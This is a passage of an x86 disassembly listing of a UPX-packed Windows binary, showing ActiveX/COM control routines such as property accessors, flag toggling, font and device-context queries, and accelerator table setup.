arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h

		push	ebp
		mov	ebp, esp
		push	esi
		push	[ebp+arg_20]
		mov	esi, [ebp+arg_0]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	sub_404E7C
		cmp	eax, 80020003h
		jz	short loc_40344B
		cmp	eax, 8002802Bh
		jnz	short loc_403486


loc_40344B:				; CODE XREF: sub_403418+2Aj
		mov	ecx, [esi+8]
		test	ecx, ecx
		jz	short loc_403486
		push	[ebp+arg_20]
		mov	eax, [ecx]
		push	[ebp+arg_1C]
		push	[ebp+arg_18]
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ecx
		call	dword ptr [eax+18h]
		test	eax, eax
		jl	short loc_403486
		test	byte ptr [ebp+arg_10], 4
		jz	short loc_403486
		push	[ebp+arg_4]
		add	esi, 0FFFFFFB4h
		push	esi
		call	sub_4033BC


loc_403486:				; CODE XREF: sub_403418+31j
					; sub_403418+38j ...
		pop	esi
		pop	ebp
		retn	24h
sub_403418	endp


; =============== S U B	R O U T	I N E =======================================



sub_40348B	proc near		; DATA XREF: UPX0:004241F0o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		xor	ecx, [eax+7Ch]
		and	ecx, 1
		xor	[eax+7Ch], ecx
		xor	eax, eax
		retn	8
sub_40348B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4034A1	proc near		; DATA XREF: UPX0:004241F4o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		test	eax, eax
		jnz	short loc_4034B0
		mov	eax, 80004003h
		jmp	short locret_4034C6
; ---------------------------------------------------------------------------


loc_4034B0:				; CODE XREF: sub_4034A1+6j
		mov	ecx, [esp+arg_0]
		mov	ecx, [ecx+7Ch]
		and	cl, 1
		movzx	ecx, cl
		neg	ecx
		sbb	ecx, ecx
		mov	[eax], cx
		xor	eax, eax

locret_4034C6:				; CODE XREF: sub_4034A1+Dj
		retn	8
sub_4034A1	endp


; =============== S U B	R O U T	I N E =======================================



sub_4034C9	proc near		; DATA XREF: UPX0:004241F8o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi+80h], eax
		push	0FFFFFD43h
		lea	eax, [esi-4Ch]
		push	eax
		call	sub_4033BC
		push	0
		lea	eax, [esi-20h]
		mov	ecx, [eax]
		push	0
		push	eax
		call	dword ptr [ecx+64h]
		xor	eax, eax
		pop	esi
		retn	8
sub_4034C9	endp


; =============== S U B	R O U T	I N E =======================================



sub_4034F9	proc near		; DATA XREF: UPX0:004241FCo

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		test	eax, eax
		jnz	short loc_403508
		mov	eax, 80004003h
		jmp	short locret_403516
; ---------------------------------------------------------------------------


loc_403508:				; CODE XREF: sub_4034F9+6j
		mov	ecx, [esp+arg_0]
		mov	ecx, [ecx+80h]
		mov	[eax], ecx
		xor	eax, eax

locret_403516:				; CODE XREF: sub_4034F9+Dj
		retn	8
sub_4034F9	endp


; =============== S U B	R O U T	I N E =======================================



sub_403519	proc near		; DATA XREF: UPX0:00424200o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		mov	[eax+84h], ecx
		push	0FFFFFD40h
		add	eax, 0FFFFFFB4h
		push	eax
		call	sub_4033BC
		xor	eax, eax
		retn	8
sub_403519	endp


; =============== S U B	R O U T	I N E =======================================



sub_40353A	proc near		; DATA XREF: UPX0:00424204o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		test	eax, eax
		jnz	short loc_403549
		mov	eax, 80004003h
		jmp	short locret_403557
; ---------------------------------------------------------------------------


loc_403549:				; CODE XREF: sub_40353A+6j
		mov	ecx, [esp+arg_0]
		mov	ecx, [ecx+84h]
		mov	[eax], ecx
		xor	eax, eax

locret_403557:				; CODE XREF: sub_40353A+Dj
		retn	8
sub_40353A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40355A	proc near		; DATA XREF: UPX0:00424208o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		mov	[eax+88h], ecx
		push	0FFFFFD3Fh
		add	eax, 0FFFFFFB4h
		push	eax
		call	sub_4033BC
		xor	eax, eax
		retn	8
sub_40355A	endp


; =============== S U B	R O U T	I N E =======================================



sub_40357B	proc near		; DATA XREF: UPX0:0042420Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		test	eax, eax
		jnz	short loc_40358A
		mov	eax, 80004003h
		jmp	short locret_403598
; ---------------------------------------------------------------------------


loc_40358A:				; CODE XREF: sub_40357B+6j
		mov	ecx, [esp+arg_0]
		mov	ecx, [ecx+88h]
		mov	[eax], ecx
		xor	eax, eax

locret_403598:				; CODE XREF: sub_40357B+Dj
		retn	8
sub_40357B	endp


; =============== S U B	R O U T	I N E =======================================



sub_40359B	proc near		; DATA XREF: UPX0:00424210o

arg_0		= dword	ptr  4
arg_4		= word ptr  8

		movsx	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		add	ecx, ecx
		xor	ecx, [eax+7Ch]
		push	0FFFFFD3Bh
		and	ecx, 2
		xor	[eax+7Ch], ecx
		add	eax, 0FFFFFFB4h
		push	eax
		call	sub_4033BC
		xor	eax, eax
		retn	8
sub_40359B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4035C2	proc near		; DATA XREF: UPX0:00424214o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		test	eax, eax
		jnz	short loc_4035D1
		mov	eax, 80004003h
		jmp	short locret_4035E7
; ---------------------------------------------------------------------------


loc_4035D1:				; CODE XREF: sub_4035C2+6j
		mov	ecx, [esp+arg_0]
		mov	ecx, [ecx+7Ch]
		and	cl, 2
		movzx	ecx, cl
		neg	ecx
		sbb	ecx, ecx
		mov	[eax], cx
		xor	eax, eax

locret_4035E7:				; CODE XREF: sub_4035C2+Dj
		retn	8
sub_4035C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4035EA	proc near		; DATA XREF: UPX0:00424218o

arg_0		= dword	ptr  4
arg_4		= word ptr  8

		movsx	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		shl	ecx, 2
		xor	ecx, [eax+7Ch]
		push	0FFFFFD37h
		and	ecx, 4
		xor	[eax+7Ch], ecx
		add	eax, 0FFFFFFB4h
		push	eax
		call	sub_4033BC
		xor	eax, eax
		retn	8
sub_4035EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_403612	proc near		; DATA XREF: UPX0:0042421Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		test	eax, eax
		jnz	short loc_403621
		mov	eax, 80004003h
		jmp	short locret_403637
; ---------------------------------------------------------------------------


loc_403621:				; CODE XREF: sub_403612+6j
		mov	ecx, [esp+arg_0]
		mov	ecx, [ecx+7Ch]
		and	cl, 4
		movzx	ecx, cl
		neg	ecx
		sbb	ecx, ecx
		mov	[eax], cx
		xor	eax, eax

locret_403637:				; CODE XREF: sub_403612+Dj
		retn	8
sub_403612	endp


; =============== S U B	R O U T	I N E =======================================



sub_40363A	proc near		; DATA XREF: UPX0:00424220o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_4]
		lea	esi, [ebx+8Ch]
		cmp	[esi], edi
		jz	short loc_403654
		call	sub_4011B4


loc_403654:				; CODE XREF: sub_40363A+13j
		push	0FFFFFD41h
		add	ebx, 0FFFFFFB4h
		push	ebx
		call	sub_4033BC
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn	8
sub_40363A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame fpd=70h


sub_40366A	proc near		; DATA XREF: UPX0:00424224o

var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= word ptr -7Ch
var_7A		= word ptr -7Ah
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_50		= word ptr -50h
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= byte ptr -4Ah
var_49		= byte ptr -49h
var_44		= byte ptr -44h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		lea	ebp, [esp-70h]
		sub	esp, 8Ch
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+70h+var_4], eax
		mov	eax, [ebp+70h+arg_4]
		push	ebx
		mov	ebx, [ebp+70h+arg_0]
		mov	[ebp+70h+var_6C], eax
		test	eax, eax
		jnz	short loc_403697
		mov	eax, 80004003h
		jmp	loc_4037AD
; ---------------------------------------------------------------------------


loc_403697:				; CODE XREF: sub_40366A+21j
		and	dword ptr [eax], 0
		push	esi
		lea	esi, [ebx+8Ch]
		cmp	dword ptr [esi], 0
		push	edi
		jnz	loc_403799
		call	off_42A000
		mov	edi, dword_41D04C
		push	11h
		call	edi ; dword_41D04C
		test	eax, eax
		jnz	short loc_4036CB
		push	0Dh
		call	edi ; dword_41D04C
		test	eax, eax
		jz	loc_403755


loc_4036CB:				; CODE XREF: sub_40366A+53j
		lea	ecx, [ebp+70h+var_60]
		push	ecx
		push	5Ch
		push	eax
		call	dword_41D048	; GetObjectW
		lea	eax, [ebp+70h+var_44]
		mov	[ebp+70h+var_88], eax
		mov	ax, [ebp+70h+var_50]
		mov	[ebp+70h+var_7C], ax
		movzx	ax, [ebp+70h+var_49]
		mov	[ebp+70h+var_7A], ax
		movzx	eax, [ebp+70h+var_4C]
		mov	[ebp+70h+var_78], eax
		movzx	eax, [ebp+70h+var_4B]
		mov	[ebp+70h+var_74], eax
		movzx	eax, [ebp+70h+var_4A]
		mov	[ebp+70h+var_70], eax
		mov	eax, [ebp+70h+var_60]
		mov	[ebp+70h+var_8C], 20h
		mov	[ebp+70h+var_68], eax
		test	eax, eax
		jge	short loc_40371A
		neg	eax
		mov	[ebp+70h+var_68], eax


loc_40371A:				; CODE XREF: sub_40366A+A9j
		mov	eax, [ebx-48h]
		test	eax, eax
		jz	short loc_403740
		push	eax
		call	dword_41D2DC	; GetDC
		mov	edi, eax
		test	edi, edi
		jz	short loc_403755
		push	5Ah
		push	edi
		call	dword_41D034	; GetDeviceCaps
		push	edi
		push	dword ptr [ebx-48h]
		mov	[ebp+70h+var_64], eax
		jmp	short loc_40376C
; ---------------------------------------------------------------------------


loc_403740:				; CODE XREF: sub_40366A+B5j
		mov	edi, dword_41D2AC
		call	edi ; dword_41D2AC
		push	eax
		call	dword_41D2DC	; GetDC
		mov	ebx, eax
		test	ebx, ebx
		jnz	short loc_40375C


loc_403755:				; CODE XREF: sub_40366A+5Bj
					; sub_40366A+C2j
		call	sub_40119F
		jmp	short loc_4037AB
; ---------------------------------------------------------------------------


loc_40375C:				; CODE XREF: sub_40366A+E9j
		push	5Ah
		push	ebx
		call	dword_41D034	; GetDeviceCaps
		push	ebx
		mov	[ebp+70h+var_64], eax
		call	edi ; dword_41D2AC
		push	eax


loc_40376C:				; CODE XREF: sub_40366A+D4j
		call	dword_41D2BC	; ReleaseDC
		mov	eax, [ebp+70h+var_68]
		imul	eax, 0AFC80h
		cdq
		idiv	[ebp+70h+var_64]
		and	[ebp+70h+var_80], 0
		push	esi
		push	offset dword_424314
		mov	[ebp+70h+var_84], eax
		lea	eax, [ebp+70h+var_8C]
		push	eax
		call	dword_41D254
		mov	eax, [ebp+70h+var_6C]


loc_403799:				; CODE XREF: sub_40366A+3Bj
		mov	ecx, [esi]
		mov	[eax], ecx
		mov	esi, [esi]
		test	esi, esi
		jz	short loc_4037A9
		mov	eax, [esi]
		push	esi
		call	dword ptr [eax+4]


loc_4037A9:				; CODE XREF: sub_40366A+137j
		xor	eax, eax


loc_4037AB:				; CODE XREF: sub_40366A+F0j
		pop	edi
		pop	esi


loc_4037AD:				; CODE XREF: sub_40366A+28j
		mov	ecx, [ebp+70h+var_4]
		xor	ecx, ebp
		pop	ebx
		call	sub_40AC1C
		add	ebp, 70h
		leave
		retn	8
sub_40366A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4037BF	proc near		; DATA XREF: UPX0:00424228o

arg_0		= dword	ptr  4
arg_4		= word ptr  8

		movsx	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		shl	ecx, 3
		xor	ecx, [eax+7Ch]
		push	0FFFFFD3Eh
		and	ecx, 8
		xor	[eax+7Ch], ecx
		add	eax, 0FFFFFFB4h
		push	eax
		call	sub_4033BC
		xor	eax, eax
		retn	8
sub_4037BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4037E7	proc near		; DATA XREF: UPX0:0042422Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		test	eax, eax
		jnz	short loc_4037F6
		mov	eax, 80004003h
		jmp	short locret_40380C
; ---------------------------------------------------------------------------


loc_4037F6:				; CODE XREF: sub_4037E7+6j
		mov	ecx, [esp+arg_0]
		mov	ecx, [ecx+7Ch]
		and	cl, 8
		movzx	ecx, cl
		neg	ecx
		sbb	ecx, ecx
		mov	[eax], cx
		xor	eax, eax

locret_40380C:				; CODE XREF: sub_4037E7+Dj
		retn	8
sub_4037E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40380F	proc near		; DATA XREF: UPX0:00424230o

arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_4]
		xor	eax, eax
		mov	[ecx], ax
		retn	8
sub_40380F	endp


; =============== S U B	R O U T	I N E =======================================



sub_40381B	proc near		; DATA XREF: UPX0:00424234o

arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		test	eax, eax
		jnz	short loc_40382A
		mov	eax, 80004003h
		jmp	short locret_403831
; ---------------------------------------------------------------------------


loc_40382A:				; CODE XREF: sub_40381B+6j
		xor	ecx, ecx
		mov	[eax], cx
		xor	eax, eax

locret_403831:				; CODE XREF: sub_40381B+Dj
		retn	8
sub_40381B	endp


; =============== S U B	R O U T	I N E =======================================



sub_403834	proc near		; DATA XREF: UPX0:00424238o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		mov	[eax+94h], ecx
		push	0FFFFFFFFh
		add	eax, 0FFFFFFB4h
		push	eax
		call	sub_4033BC
		xor	eax, eax
		retn	8
sub_403834	endp


; =============== S U B	R O U T	I N E =======================================



sub_403852	proc near		; DATA XREF: UPX0:0042423Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		test	eax, eax
		jnz	short loc_403861
		mov	eax, 80004003h
		jmp	short locret_40386F
; ---------------------------------------------------------------------------


loc_403861:				; CODE XREF: sub_403852+6j
		mov	ecx, [esp+arg_0]
		mov	ecx, [ecx+94h]
		mov	[eax], ecx
		xor	eax, eax

locret_40386F:				; CODE XREF: sub_403852+Dj
		retn	8
sub_403852	endp


; =============== S U B	R O U T	I N E =======================================



sub_403872	proc near		; DATA XREF: UPX0:00424240o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		mov	[eax+98h], ecx
		xor	eax, eax
		retn	8
sub_403872	endp


; =============== S U B	R O U T	I N E =======================================



sub_403885	proc near		; DATA XREF: UPX0:00424244o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		test	eax, eax
		jnz	short loc_403894
		mov	eax, 80004003h
		jmp	short locret_4038A2
; ---------------------------------------------------------------------------


loc_403894:				; CODE XREF: sub_403885+6j
		mov	ecx, [esp+arg_0]
		mov	ecx, [ecx+98h]
		mov	[eax], ecx
		xor	eax, eax

locret_4038A2:				; CODE XREF: sub_403885+Dj
		retn	8
sub_403885	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038A5	proc near		; DATA XREF: UPX0:00424248o

arg_0		= dword	ptr  4
arg_4		= word ptr  8

		movsx	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		shl	ecx, 5
		xor	ecx, [eax+7Ch]
		and	ecx, 20h
		xor	[eax+7Ch], ecx
		xor	eax, eax
		retn	8
sub_4038A5	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038BF	proc near		; DATA XREF: UPX0:0042424Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		test	eax, eax
		jnz	short loc_4038CE
		mov	eax, 80004003h
		jmp	short locret_4038E4
; ---------------------------------------------------------------------------


loc_4038CE:				; CODE XREF: sub_4038BF+6j
		mov	ecx, [esp+arg_0]
		mov	ecx, [ecx+7Ch]
		and	cl, 20h
		movzx	ecx, cl
		neg	ecx
		sbb	ecx, ecx
		mov	[eax], cx
		xor	eax, eax

locret_4038E4:				; CODE XREF: sub_4038BF+Dj
		retn	8
sub_4038BF	endp


; =============== S U B	R O U T	I N E =======================================



sub_4038E7	proc near		; DATA XREF: UPX0:00424250o

arg_0		= dword	ptr  4
arg_4		= word ptr  8

		movsx	ecx, [esp+arg_4]
		mov	eax, [esp+arg_0]
		shl	ecx, 6
		xor	ecx, [eax+7Ch]
		and	ecx, 40h
		xor	[eax+7Ch], ecx
		xor	eax, eax
		retn	8
sub_4038E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_403901	proc near		; DATA XREF: UPX0:00424254o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		test	eax, eax
		jnz	short loc_403910
		mov	eax, 80004003h
		jmp	short locret_403926
; ---------------------------------------------------------------------------


loc_403910:				; CODE XREF: sub_403901+6j
		mov	ecx, [esp+arg_0]
		mov	ecx, [ecx+7Ch]
		and	cl, 40h
		movzx	ecx, cl
		neg	ecx
		sbb	ecx, ecx
		mov	[eax], cx
		xor	eax, eax

locret_403926:				; CODE XREF: sub_403901+Dj
		retn	8
sub_403901	endp


; =============== S U B	R O U T	I N E =======================================



sub_403929	proc near		; DATA XREF: UPX0:00424258o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+9Ch]
		cmp	[esp+4+arg_4], eax
		jz	short loc_40396D
		push	eax
		call	dword_41D25C
		cmp	[esp+4+arg_4], 0
		jz	short loc_403966
		push	[esp+4+arg_4]
		call	dword_41D234
		mov	[esi+9Ch], eax
		test	eax, eax
		jnz	short loc_40396D
		push	8007000Eh
		call	sub_4010D8
; ---------------------------------------------------------------------------


loc_403966:				; CODE XREF: sub_403929+1Dj
		and	dword ptr [esi+9Ch], 0


loc_40396D:				; CODE XREF: sub_403929+Fj
					; sub_403929+31j
		xor	eax, eax
		pop	esi
		retn	8
sub_403929	endp


; =============== S U B	R O U T	I N E =======================================



sub_403973	proc near		; DATA XREF: UPX0:0042425Co

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		test	eax, eax
		jnz	short loc_403982
		mov	eax, 80004003h
		jmp	short locret_403990
; ---------------------------------------------------------------------------


loc_403982:				; CODE XREF: sub_403973+6j
		mov	ecx, [esp+arg_0]
		mov	ecx, [ecx+9Ch]
		mov	[eax], ecx
		xor	eax, eax

locret_403990:				; CODE XREF: sub_403973+Dj
		retn	8
sub_403973	endp


; =============== S U B	R O U T	I N E =======================================



sub_403993	proc near		; DATA XREF: UPX0:00424260o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	edi, [esp+8+arg_4]
		add	esi, 8
		cmp	[esi], edi
		jz	short loc_4039A9
		call	sub_4011B4


loc_4039A9:				; CODE XREF: sub_403993+Fj
		pop	edi
		xor	eax, eax
		pop	esi
		retn	8
sub_403993	endp

; ---------------------------------------------------------------------------


loc_4039B0:				; DATA XREF: UPX0:0042413Co
		push	esi
		mov	esi, [esp+8]
		push	edi
		push	dword ptr [esp+10h]
		push	esi
		call	sub_404DA7
		mov	edi, eax
		test	edi, edi
		jl	short loc_4039E0
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_4039E0
		mov	ecx, [eax]
		lea	edx, [esi+0A4h]
		push	edx
		push	offset dword_423B7C
		push	eax
		call	dword ptr [ecx]
		mov	edi, eax


loc_4039E0:				; CODE XREF: UPX0:004039C4j
					; UPX0:004039CBj
		cmp	dword ptr [esp+10h], 0
		jnz	short loc_4039FC
		lea	eax, [esi+0A4h]
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_4039FC
		and	dword ptr [eax], 0
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+8]


loc_4039FC:				; CODE XREF: UPX0:004039E5j
					; UPX0:004039F1j
		mov	eax, edi
		pop	edi
		pop	esi
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_403A03	proc near		; DATA XREF: UPX0:00424100o
		mov	eax, 80004001h
		retn	10h
sub_403A03	endp

; ---------------------------------------------------------------------------
		push	edi
		mov	edi, [esp+0Ch]
		mov	eax, 80004003h
		test	edi, edi
		jz	short loc_403A45
		and	dword ptr [edi], 0
		push	ebx
		mov	ebx, [esp+0Ch]
		mov	eax, [ebx+14h]
		push	esi
		mov	esi, offset dword_423B9C
		test	eax, eax
		jz	short loc_403A39
		mov	ecx, [eax]
		push	edi
		push	esi
		push	eax
		call	dword ptr [ecx]
		test	eax, eax
		jge	short loc_403A43


loc_403A39:				; CODE XREF: UPX0:00403A2Cj
		push	edi
		lea	eax, [ebx-4]
		mov	ecx, [eax]
		push	esi
		push	eax
		call	dword ptr [ecx]


loc_403A43:				; CODE XREF: UPX0:00403A37j
		pop	esi
		pop	ebx


loc_403A45:				; CODE XREF: UPX0:00403A17j
		pop	edi
		retn	8
; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		push	dword ptr [esi-24h]
		call	dword_41D2DC	; GetDC
		mov	edi, eax
		xor	edx, edx
		cmp	edi, edx
		jnz	short loc_403A67
		mov	eax, 80004005h
		jmp	short loc_403A94
; ---------------------------------------------------------------------------


loc_403A67:				; CODE XREF: UPX0:00403A5Ej
		mov	eax, [esi+48h]
		cmp	eax, edx
		jz	short loc_403A88
		push	ebx
		mov	ebx, [eax]
		push	edx
		push	edx
		lea	ecx, [esi+8Ch]
		push	ecx
		push	ecx
		push	edi
		push	edx
		push	edx
		push	edx
		push	0FFFFFFFFh
		push	1
		push	eax
		call	dword ptr [ebx+0Ch]
		pop	ebx


loc_403A88:				; CODE XREF: UPX0:00403A6Cj
		push	edi
		push	dword ptr [esi-24h]
		call	dword_41D2BC	; ReleaseDC
		xor	eax, eax


loc_403A94:				; CODE XREF: UPX0:00403A65j
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		mov	eax, [eax-28h]
		mov	ecx, [esp+8]
		mov	[ecx], eax
		xor	eax, eax
		retn	8
; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		or	dword ptr [esi+6Ch], 1
		push	0
		push	1
		push	dword ptr [esi+38h]
		call	dword_41D394
		mov	eax, [esi+38h]
		and	dword ptr [esi+6Ch], 0FFFFFFF7h
		mov	ecx, [eax]
		add	esi, 48h
		push	esi
		push	offset dword_424324
		push	eax
		call	dword ptr [ecx]
		xor	eax, eax
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		mov	eax, [esp+4]
		or	dword ptr [eax+6Ch], 2
		xor	eax, eax
		retn	4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		mov	edx, [ebp+0Ch]
		xor	eax, eax
		cmp	edx, eax
		jz	short loc_403AF9
		mov	[edx], eax


loc_403AF9:				; CODE XREF: UPX0:00403AF5j
		mov	ecx, [ebp+10h]
		cmp	ecx, eax
		jz	short loc_403B02
		mov	[ecx], eax


loc_403B02:				; CODE XREF: UPX0:00403AFEj
		cmp	edx, eax
		jz	loc_403C11
		cmp	ecx, eax
		jz	loc_403C11
		cmp	[ebp+14h], eax
		jz	loc_403C11
		cmp	[ebp+18h], eax
		jz	loc_403C11
		push	ebx
		push	esi
		mov	esi, [ebp+8]
		lea	ebx, [esi+3Ch]
		push	edi
		cmp	[ebx], eax
		jnz	short loc_403B4B
		lea	eax, [ebp+8]
		push	eax
		call	sub_4069AB
		mov	eax, [ebp+8]
		push	ebx
		add	eax, 24h
		mov	ecx, [eax]
		push	offset dword_423C4C
		push	eax
		call	dword ptr [ecx]


loc_403B4B:				; CODE XREF: UPX0:00403B2Fj
		lea	edi, [esi+40h]
		cmp	dword ptr [edi], 0
		jnz	short loc_403B6D
		lea	eax, [ebp+8]
		push	eax
		call	sub_406A3F
		mov	eax, [ebp+8]
		push	edi
		add	eax, 24h
		mov	ecx, [eax]
		push	offset dword_423C3C
		push	eax
		call	dword ptr [ecx]


loc_403B6D:				; CODE XREF: UPX0:00403B51j
		mov	eax, [ebx]
		mov	ecx, [ebp+0Ch]
		mov	[ecx], eax
		mov	ebx, [ebx]
		test	ebx, ebx
		jz	short loc_403B80
		mov	eax, [ebx]
		push	ebx
		call	dword ptr [eax+4]


loc_403B80:				; CODE XREF: UPX0:00403B78j
		mov	eax, [edi]
		mov	ecx, [ebp+10h]
		mov	[ecx], eax
		mov	edi, [edi]
		test	edi, edi
		jz	short loc_403B93
		mov	eax, [edi]
		push	edi
		call	dword ptr [eax+4]


loc_403B93:				; CODE XREF: UPX0:00403B8Bj
		push	dword ptr [ebp+14h]
		mov	edi, dword_41D34C
		push	dword ptr [esi-28h]
		call	edi ; dword_41D34C
		push	dword ptr [ebp+18h]
		push	dword ptr [esi-28h]
		call	edi ; dword_41D34C
		cmp	dword ptr [esi+98h], 0
		jnz	short loc_403BD2
		xor	eax, eax
		mov	[ebp-6], ax
		mov	[ebp-4], ax
		push	1
		lea	eax, [ebp-8]
		push	eax
		mov	byte ptr [ebp-8], 0
		call	dword_41D350	; CreateAcceleratorTableW
		mov	[esi+98h], eax


loc_403BD2:				; CODE XREF: UPX0:00403BB0j
		mov	edi, [ebp+1Ch]
		mov	dword ptr [edi], 14h
		mov	eax, [esi+6Ch]
		shr	eax, 2
		and	eax, 1
		mov	[edi+4], eax
		push	dword ptr [esi-28h]
		call	dword_41D33C	; GetParent
		mov	[edi+8], eax
		mov	eax, [esi+98h]
		mov	[edi+0Ch], eax
		xor	eax, eax
		cmp	[esi+98h], eax
		setnz	al
		mov	[edi+10h], eax
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		jmp	short locret_403C16
; ---------------------------------------------------------------------------


loc_403C11:				; CODE XREF: UPX0:00403B04j
					; UPX0:00403B0Cj ...
		mov	eax, 80004003h

locret_403C16:				; CODE XREF: UPX0:00403C0Fj
		leave
		retn	18h
; ---------------------------------------------------------------------------


loc_403C1A:				; DATA XREF: UPX0:off_424BDCo
		mov	eax, 80004001h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_403C22:				; DATA XREF: UPX0:00424094o
		mov	eax, [esp+4]
		and	dword ptr [eax+6Ch], 0FFFFFFFDh
		xor	eax, eax
		retn	8
; ---------------------------------------------------------------------------


loc_403C2F:				; DATA XREF: UPX0:00424098o
		mov	eax, [esp+4]
		and	dword ptr [eax+6Ch], 0FFFFFFFEh
		mov	ecx, [eax+48h]
		test	ecx, ecx
		jz	short loc_403C48
		and	dword ptr [eax+48h], 0
		mov	eax, [ecx]
		push	ecx
		call	dword ptr [eax+8]


loc_403C48:				; CODE XREF: UPX0:00403C3Cj
		xor	eax, eax
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_403C4D	proc near		; DATA XREF: UPX0:0042409Co
					; UPX0:004240A0o ...
		mov	eax, 80004001h
		retn	4
sub_403C4D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_403C55	proc near		; DATA XREF: UPX0:004240A4o

var_10		= byte ptr -10h
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_403C6A
		mov	eax, 80004003h
		jmp	short loc_403CC6
; ---------------------------------------------------------------------------


loc_403C6A:				; CODE XREF: sub_403C55+Cj
		push	ebx
		push	edi
		lea	edi, [ebp+var_10]
		movsd
		movsd
		movsd
		movsd
		mov	esi, [ebp+arg_0]
		mov	edi, dword_41D300
		lea	eax, [ebp+var_10]
		push	eax
		add	esi, 0FFFFFFD8h
		push	dword ptr [esi]
		call	edi ; dword_41D300
		test	eax, eax
		jz	short loc_403C93
		lea	eax, [ebp+var_8]
		push	eax
		push	dword ptr [esi]
		call	edi ; dword_41D300


loc_403C93:				; CODE XREF: sub_403C55+34j
		push	dword ptr [esi]
		call	dword_41D33C	; GetParent
		mov	ebx, eax
		test	ebx, ebx
		jz	short loc_403CB9
